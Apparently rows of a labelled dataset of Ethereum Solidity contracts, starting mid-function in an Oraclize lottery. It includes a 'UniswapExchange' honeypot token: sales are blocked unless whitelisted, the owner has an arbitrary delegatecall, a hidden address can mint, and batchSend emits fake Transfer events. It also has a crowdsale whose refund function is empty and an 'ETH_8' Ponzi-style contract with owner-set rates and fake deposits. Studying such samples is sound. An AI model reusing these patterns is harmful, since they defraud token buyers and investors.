bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Lottery is usingOraclize{
uint8 public player_count;
uint public ante;
uint8 public required_number_players;
uint public winner_percentage;
address owner;
uint oracle_price;
uint oraclize_gas;
uint private_rooms_index;
bool public paused;
uint public ticket_price;
struct Players {
address player1;
address player2;
address winner;
string status;
bytes32 privateroomid;
}
struct PrivatePlayers {
address player1;
address player2;
address winner;
string status;
}
Players players;
mapping (bytes32 => Players) public rooms;
mapping (bytes32 => PrivatePlayers) public private_rooms;
function Lottery() public{
owner = msg.sender;
player_count = 0;
ante = 0.054 ether;
required_number_players = 2;
winner_percentage = 98;
oraclize_setProof(proofType_Ledger);
oracle_price = 0.003 ether;
oraclize_gas = 285000;
private_rooms_index=0;
paused = false;
ticket_price = ante + oracle_price;
}
event newRandomNumber_uint(uint rand);
event PrivateRoomID (
address indexed room_creator,
bytes32 indexed roomID
);
event RoomID (
address indexed room_creator,
bytes32 indexed roomID
);
event ShowProof (bytes _proof);
event ShowPlayers (address indexed player1, address indexed player2);
event Played_room (
bytes32 indexed _id,
address[2] indexed _players
);
event Announce_winner(
address indexed _player1,
address indexed _player2,
address indexed _winner,
uint _value
);
event Pause();
event Unpause();
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
function changeParameters(uint newAnte, uint8 newNumberOfPlayers, uint newWinnerPercentage, uint newOraclePrice, uint newOracleGas) onlyOwner whenPaused public{
if (newAnte != uint80(0)) {
ante = newAnte;
}
if (newNumberOfPlayers != uint80(0)) {
required_number_players = newNumberOfPlayers;
}
if (newWinnerPercentage != uint80(0)) {
winner_percentage = newWinnerPercentage;
}
if (newOraclePrice != uint80(0)) {
oracle_price = newOraclePrice;
}
if (newOracleGas != uint80(0)) {
oracle_price = newOracleGas;
}
ticket_price = ante + oracle_price;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public {
require (msg.sender == oraclize_cbAddress());
ShowProof (_proof);
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
rooms[_queryId].player1.transfer(ante);
rooms[_queryId].player2.transfer(ante);
if (rooms[_queryId].privateroomid != bytes32(0) ) {
private_rooms[rooms[_queryId].privateroomid].status = "Failed proof";
}
rooms[_queryId].status = "Failed proof";
} else {
uint maxRange = 2**(8* 7);
uint random = uint(keccak256(_result)) % maxRange;
newRandomNumber_uint(random);
pay (random, _queryId);
}
}
function update() internal {
require (players.player1 != address(0));
require (players.player2 != address(0));
uint N = 3;
uint delay = 0;
uint callbackGas = oraclize_gas;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
rooms[queryId].player1=players.player1;
rooms[queryId].player2=players.player2;
rooms[queryId].status = "pending oraclize" ;
RoomID (players.player1,queryId);
}
function update_private_room(bytes32 roomid) internal {
require (private_rooms[roomid].player1 != address(0));
require (private_rooms[roomid].player2 != address(0));
uint N = 3;
uint delay = 0;
uint callbackGas = oraclize_gas;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
rooms[queryId].player1 = private_rooms[roomid].player1;
rooms[queryId].player2 = private_rooms[roomid].player2;
rooms[queryId].privateroomid = roomid;
rooms[queryId].status = "pending oraclize" ;
RoomID (players.player1,queryId);
}
function() whenNotPaused payable public{
buy();
}
function buy() whenNotPaused payable public{
require (msg.value >= ante + oracle_price);
require (player_count <2);
if(msg.value > (ante+oracle_price)) {
msg.sender.transfer(msg.value - ante - oracle_price);
}
player_count +=1;
if (player_count == 1) {
players.player1 = msg.sender;
}
if (player_count == 2) {
players.player2 = msg.sender;
ShowPlayers (players.player1,players.player2);
update();
player_count =0;
}
}
function pay (uint random, bytes32 _queryId) internal{
require (rooms[_queryId].winner == address(0));
address[2] round_players;
round_players[0]=rooms[_queryId].player1;
round_players[1]=rooms[_queryId].player2;
Played_room(_queryId,[rooms[_queryId].player1,rooms[_queryId].player2]);
random = random%required_number_players;
uint sum_won=ante*required_number_players*winner_percentage/100;
round_players[random].transfer(sum_won);
owner.transfer(ante*required_number_players - ante*required_number_players*winner_percentage/100);
if (rooms[_queryId].privateroomid != bytes32(0) ) {
private_rooms[rooms[_queryId].privateroomid].status ="closed";
private_rooms[rooms[_queryId].privateroomid].winner = round_players[random];
}
rooms[_queryId].status = "closed";
rooms[_queryId].winner = round_players[random];
Announce_winner(round_players[0],round_players[1],round_players[random],sum_won);
}
function create_private_room () whenNotPaused payable public{
require (msg.value >= ante + oracle_price);
if(msg.value > (ante+oracle_price)) {
msg.sender.transfer(msg.value - ante - oracle_price);
}
bytes32 roomid= sha3(private_rooms_index);
require (private_rooms[roomid].player1 == address(0));
private_rooms[roomid].player1= msg.sender;
private_rooms[roomid].status = "open";
private_rooms_index++;
PrivateRoomID (msg.sender,roomid);
}
function join_private_room (bytes32 roomid) whenNotPaused payable public{
require (msg.value >= ante + oracle_price);
require (private_rooms[roomid].player1 != address(0));
require (private_rooms[roomid].player2 == address(0));
if(msg.value > (ante+oracle_price)) {
msg.sender.transfer(msg.value - ante - oracle_price);
}
private_rooms[roomid].player2= msg.sender;
private_rooms[roomid].status = "both players joined";
update_private_room (roomid);
}
function returneth (bytes32 _roomID) onlyOwner public {
require (_roomID != bytes32(0));
require (rooms[_roomID].winner == address(0));
rooms[_roomID].player1.transfer(ante);
rooms[_roomID].player2.transfer(ante);
rooms[_roomID].status = "failed";
if (rooms[_roomID].privateroomid != bytes32(0) ) {
private_rooms[rooms[_roomID].privateroomid].status ="failed";
}
}
function returnante (address _addr) onlyOwner public {
require (_addr != address(0));
_addr.transfer(ante);
}
function kill() onlyOwner public{
owner.transfer(this.balance);
selfdestruct(owner);
}
} | 0 | 318 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,334 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract PornTokenV2Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint private currentBalance;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
function PornTokenV2Crowdsale(
address sendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
address addressOfTokenUsedAsReward
) {
beneficiary = sendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = 13370000000000;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
if (beneficiary == msg.sender && currentBalance > 0) {
uint amountToSend = currentBalance;
currentBalance = 0;
beneficiary.send(amountToSend);
} else if (amount > 0) {
balanceOf[msg.sender] += amount;
amountRaised += amount;
currentBalance += amount;
tokenReward.transfer(msg.sender, (amount / price) * 1 ether);
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
}
} | 0 | 274 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Proxy {
using SafeMath for uint256;
uint256 public contribution = 0;
ETH_8 public eth_8;
constructor() public {
eth_8 = ETH_8(msg.sender);
}
function() public payable {
if(msg.value == 0) {
eth_8.withdrawDividends(msg.sender);
return;
}
address newReferrer = _bytesToAddress(msg.data);
contribution = contribution.add(msg.value);
address(eth_8).transfer(msg.value);
eth_8.doInvest(msg.sender, msg.value, newReferrer);
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
}
contract ETH_8 {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [511000, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public isProxy;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
}
address public marketingAndTechnicalSupport = 0xC93C7F3Ac689B822C3e9d09b9cA8934e54cf1D70;
address public owner = 0xbBdE48b0c31dA0DD601DA38F31dcf92b04f42588;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
require(isProxy[msg.sender]);
}
function withdrawDividends(address from) public {
require(isProxy[msg.sender]);
uint256 dividendsSum = getDividends(from);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
totalInvest = 0;
dividendsSum = address(this).balance;
emit NewWave();
}
from.transfer(dividendsSum);
emit UserDividendPayed(from, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(wallet, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
wallet,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest(address from, uint256 investment, address newReferrer) public {
require(isProxy[msg.sender]);
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
if (user.referrer == address(0)
&& user.firstTime == now
&& newReferrer != address(0)
&& newReferrer != from
&& users[wave][newReferrer].firstTime > 0
) {
user.referrer = newReferrer;
emit ReferrerAdded(from, newReferrer);
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
user.referrer.transfer(refAmount);
}
investment = investment.add(getDividends(from));
totalInvest = totalInvest.add(investment);
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, investment);
uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(from, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
function createProxy() external {
require(msg.sender == owner);
Proxy newProxy = new Proxy();
isProxy[address(newProxy)] = true;
}
} | 1 | 4,790 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
